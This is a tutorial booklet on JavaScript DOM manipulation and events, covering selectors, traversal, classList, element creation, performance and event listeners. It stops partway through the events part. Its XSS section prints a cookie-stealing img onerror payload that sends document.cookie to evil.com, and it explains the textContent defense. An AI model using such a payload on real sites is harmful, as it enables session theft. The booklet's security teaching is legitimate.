DOM Manipulation & Events

Selecting · Reading · Changing · Creating · Removing · Listening · Bubbling · Delegation

A complete first-principles mini booklet — zero to advanced — covering the DOM API and the Event system in full depth, with real-world examples, runnable code, interview questions, and tricky output-based traps.

MyAnatomy Teaching Series

Table of Contents

PART 1 — Understanding & Selecting

1. What is the DOM? The "Living Object" Model 3
2. window vs. document 5
3. Classic Selection Methods 6
4. Modern Selection — querySelector & querySelectorAll 8
5. Traversing the DOM — Parents, Children, Siblings 10

PART 2 — Reading & Manipulating Elements

6. innerHTML vs. textContent vs. innerText 12
7. Security Deep Dive — XSS Attacks 14
8. Manipulating Attributes 16
9. The classList API — .add, .remove, .toggle 17
10. Inline Styles with .style 19

PART 3 — Changing the DOM Structure

11. Creating Elements with document.createElement 20
12. Adding Elements — append, prepend, appendChild 21
13. Removing Elements the Right Way 23
14. Performance Pro-Tip — DocumentFragment 24
15. Reflow & Repaint — The "Why" Behind Performance 25

PART 4 — Events

16. Event Listeners — addEventListener 27
17. The Event Object 29
18. Bubbling, Capturing & Propagation 30
19. preventDefault() & stopPropagation() 33
20. Event Delegation 35

PART 5 — Practice & Mastery

21. Mini Projects — Chaining Everything Together 37
22. Cheat Sheets 39
23. Interview Questions 40
24. Tricky Output-Based Questions 43
25. Practice Problems (Homework Set) 46

PART 1 — UNDERSTANDING & SELECTING

1. What is the DOM? The "Living Object" Model

1.1 Start from zero: what does the browser actually do with your HTML file?

When a browser loads an HTML file, it does NOT just display the text of that file. It **reads** the HTML, and builds an entirely separate, in-memory tree of JavaScript objects that represents every tag, attribute, and piece of text on the page. This in-memory tree is the **DOM — the Document Object Model**.

1.2 Why does this distinction matter? (the "why")

> **The key insight:** Your original HTML file is just static TEXT sitting on a server or disk — JavaScript cannot touch it. But the DOM is a LIVE, in-memory copy made of real JavaScript objects, sitting in the browser's memory — and JavaScript absolutely CAN read and change it. Every single thing you'll do in this booklet — changing text, adding a class, creating a new `<div>` — is really just JavaScript editing this in-memory object tree, not the original file. The browser then instantly re-draws the screen to match whatever the DOM currently looks like.

1.3 The "Living Object" model — why we call it "living"

The DOM is called a "living" model because:

1. It updates itself in real time — the moment JavaScript changes something, the DOM tree reflects that change instantly (no reload needed).
2. The browser is CONSTANTLY watching the DOM and redrawing the visible page to match it — that's how a to-do app can add an item to the screen without a page refresh.
3. It's not just data — it's a tree of actual objects with properties and methods you can call, e.g. every element object has a `.style` property, a `.classList` method set, a `.remove()` method, and so on.

1.4 The DOM as a tree — draw this on the whiteboard

```
<html>
  <head>
    <title>My Page</title>
  </head>
  <body>
    <h1>Hello</h1>
    <p>Welcome to my site</p>
  </body>
</html>
```

...becomes this object tree in memory:

```
document
 └── html
      ├── head
      │     └── title  → "My Page"
      └── body
            ├── h1  → "Hello"
            └── p   → "Welcome to my site"
```

Every box in this tree is called a **node**. A node that represents an HTML tag is specifically called an **element node**. Parent-child relationships in this tree mirror exactly how the tags were nested in your HTML.

1.5 Real-world example — what actually happens when you like a post on Instagram

> When you tap the heart icon, the server is NOT sending you a brand-new HTML page. JavaScript running in your browser finds the heart icon's DOM node, changes its class from "outline-heart" to "filled-heart" (which changes its color via CSS), and updates a "1,204 likes" text node to "1,205 likes" — all by directly editing the DOM. The original HTML document that was downloaded is never touched again after the first load.

1.6 First DOM manipulation ever — a one-line taste

```
document.body.style.backgroundColor = "lightyellow";
// The ENTIRE page background instantly changes — no reload, no new HTML file.
// This proves the DOM is live, in-memory, and directly controllable.
```

2. window vs. document

2.1 First principles: what is "window"?

> `window` is the biggest object in browser JavaScript — it represents the entire browser TAB/window itself: its size, its URL, its history, its timers (`setTimeout`), and yes, the page's content too.

2.2 First principles: what is "document"?

> `document` is ONE PROPERTY of `window` — specifically, it's the object that represents the DOM tree of the currently loaded HTML page (everything inside `<html>`).

2.3 The relationship, visually

```
window                          ← the whole browser tab
  ├── document                  ← the HTML page's DOM tree (what we manipulate)
  ├── location                  ← the current URL
  ├── history                   ← back/forward navigation
  ├── localStorage               ← browser storage
  ├── innerWidth / innerHeight  ← size of the visible browser viewport
  ├── setTimeout() / setInterval()
  └── alert() / confirm() / prompt()
```

`document.getElementById(...)` is technically shorthand for `window.document.getElementById(...)` — since `window` is the global object, you're allowed to drop the `window.` prefix.

2.4 When to use which

Task	Use
Select/change HTML elements	`document`
Know the browser's visible width/height	`window.innerWidth` , `window.innerHeight`
Redirect the page or read the current URL	`window.location`
Run code after a delay	`window.setTimeout()` (usually just `setTimeout()`)
Detect window resize	`window.addEventListener("resize", ...)`

> **Common confusion:** Students often use "window" and "document" interchangeably. Correct them early: **window = the browser tab itself. document = the page's content (the DOM).** You almost always want `document` for DOM work.

3. Classic Selection Methods

Why learn the "classic" methods if modern ones are better? You will see these in older codebases, tutorials, and interview questions constantly. Understanding them also makes it obvious WHY `querySelector` was such a welcome upgrade.

3.1 document.getElementById()

Selects the SINGLE element with a matching `id` attribute. IDs must be unique on a page, so this always returns one element (or `null` if not found) — never a list.

```
<h1 id="main-title">Welcome</h1>

<script>
  const title = document.getElementById("main-title");
  console.log(title.textContent); // "Welcome"
</script>
```

3.2 document.getElementsByTagName()

Selects ALL elements matching a given tag name, e.g. all `<li>` or all `<p>`. Returns a special array-like object called an **HTMLCollection**.

```
const allParagraphs = document.getElementsByTagName("p");
console.log(allParagraphs.length); // e.g. 5
console.log(allParagraphs[0].textContent); // text of the first <p>
```

3.3 document.getElementsByClassName()

Selects ALL elements that have a given CSS class. Also returns an HTMLCollection.

```
<div class="card">Card 1</div>
<div class="card">Card 2</div>

<script>
  const cards = document.getElementsByClassName("card");
  console.log(cards.length); // 2
</script>
```

3.4 The critical gotcha: HTMLCollection is "live"

This is a genuinely important and tricky concept. An HTMLCollection (from `getElementsByTagName` / `getElementsByClassName`) is **LIVE** — meaning it automatically updates itself in real time if the DOM changes. This can cause very confusing bugs, especially in loops.

```
const cards = document.getElementsByClassName("card");
console.log(cards.length); // 2

document.body.insertAdjacentHTML("beforeend", '<div class="card">Card 3</div>');
console.log(cards.length); // 3 !! The SAME variable automatically updated itself.
```

Popular interview question: "What's the difference between an HTMLCollection and a NodeList?" Answer: HTMLCollection (from getElementsBy* methods) is always live and only contains elements; a NodeList (from querySelectorAll) is static/non-live by default and can contain any node type, including text nodes.

3.5 Why these classic methods fell out of favor

- You can't select by anything complex — no combining tag + class + attribute in a single call.
- Different method names depending on WHAT you're selecting by (id vs tag vs class) — inconsistent API.
- HTMLCollections lack many array methods like `.forEach()` directly (you often had to convert them first).
- The "live" behavior above is a common source of bugs.

4. Modern Selection — querySelector & querySelectorAll

4.1 The big idea

`querySelector` and `querySelectorAll` let you select elements using the EXACT SAME syntax as CSS selectors — the same skill you already use to style things. One consistent, powerful, flexible API replaces four separate, limited ones.

4.2 document.querySelector() — get the FIRST match

```
document.querySelector("#main-title");     // by ID (like getElementById)
document.querySelector(".card");           // FIRST element with class "card"
document.querySelector("p");               // FIRST <p> on the page
document.querySelector("div.card.active"); // a div with BOTH classes "card" and "active"
document.querySelector("ul li:first-child"); // any valid CSS selector works!
document.querySelector('input[type="email"]'); // by attribute
```

4.3 document.querySelectorAll() — get ALL matches

```
const allCards = document.querySelectorAll(".card");
console.log(allCards.length); // e.g. 3
allCards.forEach(card => console.log(card.textContent)); // forEach works directly!
```

4.4 querySelectorAll returns a STATIC NodeList — the opposite of Section 3.4

Unlike HTMLCollection, a NodeList from `querySelectorAll` is a **snapshot** taken at the moment you called it — it does NOT update automatically if the DOM changes afterward.

```
const cards = document.querySelectorAll(".card");
console.log(cards.length); // 2

document.body.insertAdjacentHTML("beforeend", '<div class="card">Card 3</div>');
console.log(cards.length); // still 2! (you'd need to re-run querySelectorAll to see 3)
```

4.5 Real-world example — selecting complex UI patterns

```
// All direct-child list items inside a specific nav menu
document.querySelectorAll("#main-nav > li");

// All checked checkboxes
document.querySelectorAll('input[type="checkbox"]:checked');

// The first button inside any .modal
document.querySelector(".modal button");
```

4.6 Classic vs Modern — side-by-side comparison

Task	Classic way	Modern way (recommended)
By ID	`getElementById("x")`	`querySelector("#x")`
By class (all)	`getElementsByClassName("x")`	`querySelectorAll(".x")`
By tag (all)	`getElementsByTagName("p")`	`querySelectorAll("p")`
Complex (tag+class+attr)	Not possible directly	`querySelectorAll("div.card[data-active]")`
Live or static?	Live (HTMLCollection)	Static snapshot (NodeList)
.forEach() works directly?	No (needs conversion)	Yes

Interview one-liner: "querySelector/querySelectorAll accept any valid CSS selector string, return a static (non-live) result, and are the industry-recommended way to select elements in modern JavaScript."

5. Traversing the DOM — Parents, Children, Siblings

Why traversal matters: Sometimes you don't want to search the WHOLE page for an element — you already have one element (e.g. from a click event) and you want to reach a NEARBY element relative to it: "find the parent card of this button," or "find the next sibling of this list item." Traversal properties let you move around the tree from a known starting point.

5.1 Going UP — parent properties

```
const child = document.querySelector(".card-title");
console.log(child.parentElement);   // the direct parent element (e.g. the .card div)
console.log(child.closest(".card")); // walks UP the tree until it finds a match — very powerful
```

Real use case for .closest(): You click a "Delete" button that's nested inside a `.task-item` div, itself nested inside a `.task-list`. From the button, `button.closest(".task-item")` instantly finds the whole task card to remove — no matter how deeply the button is nested inside it.

5.2 Going DOWN — children properties

```
const list = document.querySelector("ul");
console.log(list.children);        // HTMLCollection of direct child ELEMENTS only (no text nodes)
console.log(list.childNodes);      // NodeList of ALL child nodes, including whitespace/text nodes
console.log(list.firstElementChild); // the first <li>
console.log(list.lastElementChild);  // the last <li>
```

children vs childNodes: `.children` only counts actual HTML element tags. `.childNodes` ALSO counts whitespace and line breaks in your HTML as invisible "text nodes" — which is why `.childNodes.length` is often confusingly larger than `.children.length`. For everyday work, prefer `.children`.

5.3 Going SIDEWAYS — sibling properties

```
const secondItem = document.querySelectorAll("li")[1];
console.log(secondItem.nextElementSibling);     // the <li> right after it
console.log(secondItem.previousElementSibling);  // the <li> right before it
```

5.4 Real-world example — a custom accordion component

```
document.querySelectorAll(".accordion-header").forEach(header => {
  header.addEventListener("click", () => {
    // "the panel to toggle is always the next sibling of whichever header was clicked"
    const panel = header.nextElementSibling;
    panel.classList.toggle("open");
  });
});
```

This is genuinely how most accordion/FAQ components are built — DOM traversal relative to the clicked element, instead of hardcoding IDs for every single panel.

5.5 Traversal cheat table

Direction	Property	Returns
Up (nearest)	`.parentElement`	Direct parent element
Up (search)	`.closest(selector)`	Nearest ancestor (or self) matching a CSS selector
Down (elements only)	`.children`	HTMLCollection of child elements
Down (all nodes)	`.childNodes`	NodeList including text/whitespace nodes
Sideways (next)	`.nextElementSibling`	Next sibling element
Sideways (prev)	`.previousElementSibling`	Previous sibling element

PART 2 — READING & MANIPULATING ELEMENTS

6. innerHTML vs. textContent vs. innerText

This is one of the MOST asked interview topics in this entire booklet, and one of the most misused properties by beginners. Slow down here.

6.1 .textContent — plain text, no HTML parsing

Gets or sets the RAW TEXT of an element, treating everything as plain text. Any HTML tags you assign to it are shown as literal text, NOT rendered as markup. Fast and safe.

```
const el = document.querySelector("#msg");
el.textContent = "Hello <b>World</b>";
// Displays literally: Hello <b>World</b>  (the tags show up as visible text, not bold)
```

6.2 .innerHTML — parses and renders actual HTML

Gets or sets the content of an element AS HTML — meaning any tags inside the string you assign ARE parsed and rendered as real elements.

```
const el = document.querySelector("#msg");
el.innerHTML = "Hello <b>World</b>";
// Displays: Hello **World**  (rendered as actual bold text)
```

6.3 .innerText — like textContent, but "aware" of visible styling

Similar to textContent (plain text, no tag rendering) BUT it respects CSS — it will NOT return text that's hidden via `display: none`, and it approximates line breaks the way a human reading the rendered page would see them. This makes it slightly slower, because the browser must calculate the actual rendered layout first.

6.4 Side-by-side comparison table (memorize this)

	textContent	innerHTML	innerText
Renders HTML tags?	No — shows raw text	Yes — parses & renders tags	No — shows raw text
Aware of CSS (hidden elements)?	No — returns ALL text, even hidden	N/A (returns markup)	Yes — skips `display:none` text
Performance	Fastest	Fast, but parses HTML	Slowest (triggers layout calculation)
Security risk?	Safe from XSS	**Vulnerable to XSS** (see Section 7)	Safe from XSS
Use when...	Setting/reading plain text safely (recommended default)	You deliberately need to insert real HTML markup	You need exactly what a user visually sees

6.5 Real-world example — a safe username display vs. a rich comment renderer

```
// Safe: displaying a username (should NEVER be treated as HTML)
usernameEl.textContent = user.name;

// Deliberate: rendering formatted rich text (from a TRUSTED, sanitized source only)
commentEl.innerHTML = sanitizedHtml(comment.formattedText);
```

Golden rule to teach: "Default to `textContent`. Only reach for `innerHTML` when you deliberately need to insert HTML markup, and NEVER put raw, unsanitized user input into `innerHTML`." (Full reasoning in Section 7.)

7. Security Deep Dive — XSS Attacks

7.1 What is XSS?

XSS (Cross-Site Scripting) is an attack where a malicious user injects their OWN JavaScript code into a webpage that OTHER users will visit — and that code then runs with full access to the page (reading cookies, session tokens, form data, or redirecting the victim to a fake login page).

7.2 How does .innerHTML become the doorway for this attack?

Imagine a comment box where user input is displayed to other visitors using `innerHTML`:

```
// DANGEROUS CODE — never do this with untrusted input
const userComment = getCommentFromDatabase(); // e.g. from another user
commentBox.innerHTML = userComment;
```

Now imagine an attacker submits this as their "comment":

```
<img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
```

What happens: Because `innerHTML` actually PARSES this string as real HTML, the browser creates a real `<img>` tag. The image source "x" is invalid, so the `onerror` handler fires automatically — running the attacker's JavaScript, silently sending every visitor's cookies to the attacker's server. This all happens the instant the comment is displayed to ANY other user, with zero clicks needed.

7.3 Why .textContent completely blocks this attack

```
// SAFE CODE
commentBox.textContent = userComment;
// The <img ...> string is displayed literally as visible TEXT on the page —
// e.g. the user sees the characters "<img src="x" onerror="...">" printed out.
// The browser NEVER parses it as a tag, so the onerror handler never exists, never fires.
```

The core reasoning to teach: "textContent treats its input as DATA (just characters). innerHTML treats its input as CODE (structure to be parsed and executed). Never let 'data that came from a user' be interpreted as 'code that runs' — that's the root cause of nearly every injection attack, not just XSS."

7.4 Real-world example — where this actually bites companies

This exact bug pattern has caused real breaches: displaying a user's profile "bio" field, a product review, a chat message, or a support ticket description using `innerHTML` without sanitizing it first. Any of these are direct XSS vectors if the text comes from user input.

7.5 When you DO need to render real HTML from user content

- Use a trusted sanitization library (e.g. DOMPurify) to strip dangerous tags/attributes BEFORE assigning to innerHTML.
- Or better: avoid raw HTML entirely — build the DOM using `createElement` + `textContent` for each piece (Part 3 of this booklet), so there's simply no HTML string to parse maliciously.

Classic interview question: "How does textContent protect against XSS, and why doesn't innerHTML?" Answer: textContent always renders its argument as literal characters, never parsing it as markup — so injected `<script>` /event-handler payloads can never execute. innerHTML parses its argument as real HTML/DOM, so any injected tags with executable attributes (onerror, onload, or a script tag) run with full page privileges.

8. Manipulating Attributes

8.1 Direct properties — the fast, common path

```
const link = document.querySelector("a");
console.log(link.id);            // reading the id attribute directly
link.id = "home-link";           // setting it directly
console.log(link.className);     // reading the class attribute as ONE string
link.className = "nav-link active"; // setting it (overwrites ALL classes — careful!)
```

`.className` treats classes as one single space-separated STRING, so setting it directly wipes out any existing classes. This is exactly why the `classList` API (Section 9) is almost always the better tool for classes specifically.

8.2 getAttribute() and setAttribute() — the general-purpose path

These work for ANY attribute, including custom ones (like `data-*` attributes) that don't have a convenient direct JS property.

```
const img = document.querySelector("img");
console.log(img.getAttribute("src"));          // read any attribute by name
img.setAttribute("src", "new-photo.jpg");      // set any attribute by name
img.setAttribute("alt", "A photo of a sunset");
console.log(img.hasAttribute("alt"));          // true
img.removeAttribute("alt");                     // remove it entirely
```

8.3 Real-world example — data-* attributes for storing custom info on elements

A common real pattern: storing a database ID directly on a DOM element so you know which record a click refers to, without a separate lookup table in JS.

```
<button data-product-id="482" class="add-to-cart">Add to Cart</button>

<script>
  document.querySelectorAll(".add-to-cart").forEach(btn => {
    btn.addEventListener("click", () => {
      const productId = btn.dataset.productId;   // "482" — camelCase auto-conversion!
      addToCart(productId);
    });
  });
</script>
```

Note: `data-product-id` in HTML becomes `.dataset.productId` in JS — the browser auto-converts kebab-case to camelCase for the `dataset` property, a genuinely handy shortcut over `getAttribute("data-product-id")`.

8.4 Attribute vs. property — a subtlety worth knowing

For most attributes, the HTML attribute and the JS property stay in sync. But for some (like a checkbox's "checked" state), the ATTRIBUTE reflects the INITIAL HTML value, while the PROPERTY reflects the CURRENT live state.

```
<input type="checkbox" checked>
<script>
  const cb = document.querySelector("input");
  cb.checked = false;   // user unchecked it (or we did, programmatically)
  console.log(cb.getAttribute("checked")); // still "" (the original HTML attribute, unchanged!)
  console.log(cb.checked);                 // false (the actual current state)
</script>
```

This is a favorite "gotcha" interview question for mid-level candidates.

9. The classList API — .add, .remove, .toggle

> **Why classList exists:** Directly manipulating `className` as a string is error-prone (easy to accidentally erase other classes, hard to check "does this element already have class X"). `classList` gives you a proper set of class names with safe, purpose-built methods.

9.1 The core methods

```
const box = document.querySelector(".box");

box.classList.add("active");           // adds a class (does nothing if already present)
box.classList.add("highlighted", "big"); // can add multiple at once

box.classList.remove("active");        // removes a class (does nothing if not present)

box.classList.toggle("open");          // if present, removes it; if absent, adds it
box.classList.toggle("open", true);    // force it ON regardless of current state
box.classList.toggle("open", false);   // force it OFF regardless of current state

console.log(box.classList.contains("active")); // true/false — safely check

box.classList.replace("old-class", "new-class"); // swap one class for another
```

9.2 Real-world example — a dark mode toggle button

> The classic "toggle dark mode" button is a one-liner with classList.

```
const toggleBtn = document.querySelector("#theme-toggle");
toggleBtn.addEventListener("click", () => {
  document.body.classList.toggle("dark-mode");
});
// CSS handles the actual color change:
// body.dark-mode { background: #111; color: #eee; }
```

9.3 Real-world example — form validation styling

```
function validateEmail(input) {
  const isValid = input.value.includes("@");
  input.classList.toggle("input-error", !isValid);   // forced ON/OFF based on validity
  input.classList.toggle("input-success", isValid);
}
```

9.4 Real-world example — an active navigation tab

```
document.querySelectorAll(".nav-tab").forEach(tab => {
  tab.addEventListener("click", () => {
    document.querySelectorAll(".nav-tab").forEach(t => t.classList.remove("active"));
    tab.classList.add("active");
  });
});
```

9.5 classList quick reference

Method	What it does
`.add(cls)`	Adds a class (safe — no duplicates, no effect if already there)
`.remove(cls)`	Removes a class (safe — no error if not present)
`.toggle(cls)`	Adds if absent, removes if present
`.toggle(cls, bool)`	Force-set the class ON (true) or OFF (false)
`.contains(cls)`	Returns true/false — check without mutating
`.replace(old, new)`	Swaps one class name for another

10. Inline Styles with .style

10.1 Syntax and first principles

Every DOM element has a `.style` object that lets you set INLINE CSS directly (equivalent to writing `style="..."` in the HTML). CSS property names with hyphens become camelCase in JS.

```
const box = document.querySelector(".box");
box.style.backgroundColor = "tomato";   // CSS: background-color
box.style.fontSize = "20px";             // CSS: font-size  — units are REQUIRED as a string
box.style.display = "none";              // hides the element completely
box.style.border = "2px solid black";    // shorthand properties work too
```

10.2 Reading computed/inline styles

```
console.log(box.style.color); // only reads INLINE styles set via JS or the style="" attribute
                              // returns "" (empty) if the color came from a CSS file/stylesheet!

// To read the ACTUAL rendered style regardless of source, use:
const computed = window.getComputedStyle(box);
console.log(computed.color); // the real, final color, from any source
```

Trap: `element.style.propertyName` ONLY sees styles set inline (via JS or the style attribute) — NOT styles coming from an external or internal stylesheet. Use `getComputedStyle()` when you need the true final rendered value.

10.3 Why classList is usually preferred over .style for anything reusable

Setting many individual `.style.xxx` properties in JS scatters your visual design across your JavaScript files instead of your CSS files — hard to maintain, hard to theme, hard to reuse. The better pattern: define a CSS class with all the styling you need, then just `classList.add()` / `remove()` that class. Reserve `.style` for values that are genuinely DYNAMIC and computed at runtime (e.g. positioning a tooltip exactly under the mouse cursor).

```
// Good use of .style — a truly dynamic, calculated value
tooltip.style.left = mouseX + "px";
tooltip.style.top = mouseY + "px";

// Prefer classList instead of this:
// box.style.backgroundColor = "red"; box.style.color = "white"; box.style.padding = "10px";
// ...for a reusable visual state, just toggle a CSS class:
box.classList.add("error-state");
```

PART 3 — CHANGING THE DOM STRUCTURE

11. Creating Elements with document.createElement

11.1 The big picture — going from "editing what exists" to "building brand new pieces"

> Everything until now assumed the element you wanted to change already existed in the HTML. But real apps constantly need to build entirely NEW elements at runtime — a new chat message bubble, a new product card, a new row in a table. That's what Part 3 covers.

11.2 document.createElement() — step by step

```
const newDiv = document.createElement("div");   // Step 1: create it (exists only in memory, not on screen yet!)
newDiv.textContent = "I'm a new box";            // Step 2: give it content
newDiv.classList.add("card");                    // Step 3: style it
console.log(newDiv);       // a real element object
console.log(newDiv.outerHTML); // '<div class="card">I\'m a new box</div>'

// But it is NOT visible on the page yet — it hasn't been attached to the DOM tree!
// This is the #1 beginner confusion in Part 3 — covered fully in Section 12.
```

> **The most important beginner realization in this whole part:** `createElement()` only builds the element IN MEMORY — completely disconnected from the visible page — exactly like building a piece of furniture in a workshop before carrying it into the house. It won't appear on screen until you explicitly ATTACH it somewhere in the real DOM tree (next section).

11.3 Real-world example — building a to-do item from scratch

```
function createTodoElement(text) {
  const li = document.createElement("li");
  li.textContent = text;
  li.classList.add("todo-item");

  const deleteBtn = document.createElement("button");
  deleteBtn.textContent = "×";
  deleteBtn.classList.add("delete-btn");

  li.appendChild(deleteBtn);   // nesting: build the button first, put it inside the li
  return li;                   // hand back a fully built (but still detached) element
}
```

12. Adding Elements — append, prepend, appendChild

12.1 .appendChild() — the classic method

```
const list = document.querySelector("#todo-list");
const newItem = document.createElement("li");
newItem.textContent = "Buy milk";

list.appendChild(newItem);   // NOW it appears on screen, as the LAST child of #todo-list
```

12.2 .append() — the modern, more flexible method

> `.append()` does everything `appendChild()` does, but more flexibly: it accepts MULTIPLE arguments at once, and accepts plain TEXT STRINGS directly (not just element nodes) — you don't need to wrap text in a text node manually.

```
const container = document.querySelector("#container");

container.append("Hello ");                // plain text — appendChild CANNOT do this directly
container.append(newDiv1, newDiv2, "more text"); // multiple items, mixed types, in one call

// appendChild only accepts ONE single Node, never text directly:
// container.appendChild("Hello"); // ✖ throws a TypeError
```

12.3 .prepend() — insert at the BEGINNING instead of the end

```
list.prepend(newItem);  // becomes the FIRST child, instead of the last
```

12.4 Precise insertion — insertBefore and insertAdjacentElement

```
// Insert a new item exactly before a specific existing item
const referenceItem = document.querySelector(".highlighted");
list.insertBefore(newItem, referenceItem);

// insertAdjacentHTML — insert raw HTML at a precise position (use with caution, see Section 7!)
box.insertAdjacentHTML("afterbegin", "<p>Inserted first</p>");
// Positions: "beforebegin", "afterbegin", "beforeend", "afterend"
```

12.5 Real-world example — adding a new comment to the top of a feed

```
function addComment(commentText) {
  const commentEl = document.createElement("div");
  commentEl.classList.add("comment");
  commentEl.textContent = commentText;   // textContent — safe from XSS, see Section 7!

  const feed = document.querySelector("#comment-feed");
  feed.prepend(commentEl);   // newest comment appears at the top
}
```

12.6 Method comparison table

Method	Accepts text directly?	Accepts multiple args?	Position
`appendChild(node)`	No — Node only	No — one at a time	End
`append(...)`	Yes	Yes	End
`prepend(...)`	Yes	Yes	Beginning
`insertBefore(new, ref)`	No — Node only	No	Exactly before a given reference node

13. Removing Elements the Right Way

13.1 The modern, simple way — .remove()

```
const item = document.querySelector(".todo-item.completed");
item.remove();   // that's it — the element removes ITSELF from the DOM
```

13.2 The old way (you'll still see this in older code / interviews)

```
const item = document.querySelector(".todo-item.completed");
item.parentElement.removeChild(item);   // must go through the PARENT to remove a child
// .remove() is simply more convenient — same end result
```

Interview question: "Why is .remove() considered better than .parentElement.removeChild(this)?" Answer: functionally identical, but .remove() lets the element remove itself directly without needing a reference to its parent first — less code, more readable, and works even if you don't know/care what the parent is.

13.3 Real-world example — deleting a to-do item

```
document.querySelectorAll(".delete-btn").forEach(btn => {
  btn.addEventListener("click", (event) => {
    const todoItem = event.target.closest(".todo-item"); // traversal from Section 5!
    todoItem.remove();
  });
});
```

13.4 Clearing ALL children of a container — a common real task

```
// GOOD — simple, clear, efficient enough for most cases
container.innerHTML = "";

// ALTERNATIVE — avoids innerHTML entirely (marginally more performant on huge lists)
while (container.firstChild) {
  container.removeChild(container.firstChild);
}
```

Note: Setting `innerHTML = ""` is safe here because you're assigning an EMPTY string, not untrusted user content — the XSS risk from Section 7 only applies when the content being inserted comes from an untrusted source.

14. Performance Pro-Tip — DocumentFragment

14.1 The problem: adding many elements one by one is slow

> Every single time you insert an element directly into the live DOM (`appendChild` , `append` , etc.), the browser may recalculate the page's layout and repaint the screen (see Section 15). If you add 1,000 list items in a loop, doing this 1,000 separate times can make the page visibly freeze or lag.

```
// SLOW — 1,000 separate insertions into the LIVE page, one at a time
for (let i = 0; i < 1000; i++) {
  const li = document.createElement("li");
  li.textContent = `Item ${i}`;
  list.appendChild(li);   // touches the real, visible DOM every single loop iteration
}
```

14.2 The solution: DocumentFragment — an invisible staging area

> A `DocumentFragment` is a lightweight, MEMORY-ONLY container — never rendered, never part of the visible page — that you can build up completely first, and then insert into the real DOM in ONE single operation.

```
// FAST — build everything in memory first, insert ONCE
const fragment = document.createDocumentFragment();

for (let i = 0; i < 1000; i++) {
  const li = document.createElement("li");
  li.textContent = `Item ${i}`;
  fragment.appendChild(li);   // adding to the fragment does NOT touch the visible page at all
}

list.appendChild(fragment);   // ONE single insertion into the real DOM for all 1,000 items!
// (Note: appending a fragment automatically moves all its children in, then the empty fragment is discarded)
```

14.3 The analogy to use in class

> "Imagine moving 1,000 books into a library. You could carry them in one at a time, making 1,000 trips through the door (slow, and each trip disturbs the room). OR you could stack all 1,000 books onto a cart FIRST (the DocumentFragment — invisible, off to the side), then wheel the entire cart through the door in ONE trip. Same total books moved, drastically fewer 'disturbances' to the actual room (the live page)."

14.4 Real-world example — rendering a large data table or product grid

```
function renderProductGrid(products) {
  const fragment = document.createDocumentFragment();
  products.forEach(product => {
    const card = document.createElement("div");
    card.classList.add("product-card");
    card.textContent = product.name;
    fragment.appendChild(card);
  });
  document.querySelector("#product-grid").appendChild(fragment); // one insertion, not hundreds
}
```

15. Reflow & Repaint — The "Why" Behind Performance

15.1 First principles: what actually happens after you change the DOM?

The browser doesn't just instantly redraw pixels the moment you change something in JS. It goes through stages:

1. **Recalculate Style** — figure out which CSS rules now apply to which elements.
2. **Layout (a.k.a. Reflow)** — calculate the exact size and position of every affected element on the page (and often its neighbors too, since sizes can cascade).
3. **Paint / Repaint** — actually draw the pixels (colors, text, borders, shadows) based on that calculated layout.
4. **Composite** — combine painted layers onto the screen.

15.2 What triggers a Reflow (the expensive one)?

> Any change that could affect the SIZE or POSITION of elements: changing width/height, adding/removing an element, changing font-size, resizing the window, or even just READING certain layout properties (like `.offsetHeight`) which forces the browser to calculate layout immediately to answer you.

15.3 What triggers only a Repaint (cheaper)?

> Changes that affect appearance WITHOUT affecting layout/position: `color`, `background-color`, `visibility` (not `display`!), `box-shadow`.

15.4 Why this matters for the code you write

> Every reflow/repaint costs real CPU time. If your JS triggers hundreds of tiny reflows in a tight loop (a pattern called "layout thrashing"), the page visibly stutters. This is EXACTLY why Section 14's DocumentFragment trick works: it lets you make 1,000 changes in memory, completely avoiding 1,000 reflows, and triggers just ONE reflow when the finished batch is finally inserted into the live page.

15.5 The classic "layout thrashing" anti-pattern (show this to advanced students)

```
// BAD — forces a reflow on EVERY loop iteration by alternating writes and reads
for (let i = 0; i < boxes.length; i++) {
  boxes[i].style.width = boxes[i].offsetWidth + 10 + "px"; // READ (offsetWidth) then WRITE (style), repeated
}
// Reading .offsetWidth forces the browser to finish any pending layout work FIRST,
// so interleaving reads and writes like this defeats the browser's own batching optimizations.

// BETTER — separate all your READS from all your WRITES
const widths = boxes.map(box => box.offsetWidth);         // all reads first
boxes.forEach((box, i) => box.style.width = widths[i] + 10 + "px"); // then all writes
```

15.6 Quick reference

Change	Triggers
Adding/removing DOM elements	Reflow + Repaint
Changing width, height, margin, padding, font-size	Reflow + Repaint
Changing color, background-color, box-shadow	Repaint only
Changing `transform` or `opacity`	Neither! (handled by the compositor — fastest, why these are preferred for animations)

> **Interview question:** "Why are CSS transform and opacity recommended for smooth animations instead of animating width/top/left?" Answer: transform and opacity can be handled entirely by the compositor step, skipping both reflow AND repaint — making them dramatically cheaper to animate at 60fps than properties that trigger a full layout recalculation.

PART 4 — EVENTS

16. Event Listeners — addEventListener

16.1 First principles: what is an "event"?

> An **event** is a signal that "something happened" — a user clicked, typed a key, submitted a form, resized the window, or an image finished loading. The browser is CONSTANTLY watching for these things and can notify your JavaScript the instant one occurs.

16.2 The three ways to listen for events (and why only one is recommended)

```
// 1) Inline HTML attribute — AVOID: mixes JS into HTML, hard to maintain, only one handler allowed
<button onclick="handleClick()">Click</button>

// 2) DOM property assignment — AVOID: can only assign ONE handler; assigning a second overwrites the first
button.onclick = function() { console.log("clicked"); };
button.onclick = function() { console.log("this OVERWRITES the one above!"); };

// 3) addEventListener — RECOMMENDED: clean, supports MULTIPLE handlers on the same event, more control
button.addEventListener("click", function() {
  console.log("Handler 1");
});
button.addEventListener("click", function() {
  console.log("Handler 2 — both this AND Handler 1 run, in order!");
});
```

16.3 Syntax breakdown

```
element.addEventListener(eventType, callbackFunction, options);
// eventType:  a string, e.g. "click", "submit", "keydown", "mouseover", "input"
// callback:   the function to run when the event fires (receives the event object — Section 17)
// options:    optional — e.g. { once: true }, or a boolean for capture mode (Section 18)
```

16.4 Real-world example — a simple counter button

```
let count = 0;
const countDisplay = document.querySelector("#count");
const incrementBtn = document.querySelector("#increment");

incrementBtn.addEventListener("click", () => {
  count++;
  countDisplay.textContent = count;
});
```

16.5 Removing a listener — removeEventListener

> To remove a listener later, you MUST pass the exact same function reference used when adding it — an anonymous inline arrow function can never be removed, because you have no way to refer back to it.

```
function handleClick() { console.log("clicked"); }

button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick); // works — same named function reference

// This will NOT work — a brand new anonymous function is a different reference:
button.addEventListener("click", () => console.log("hi"));
button.removeEventListener("click", () => console.log("hi")); // ✗ does nothing! Different function object.
```
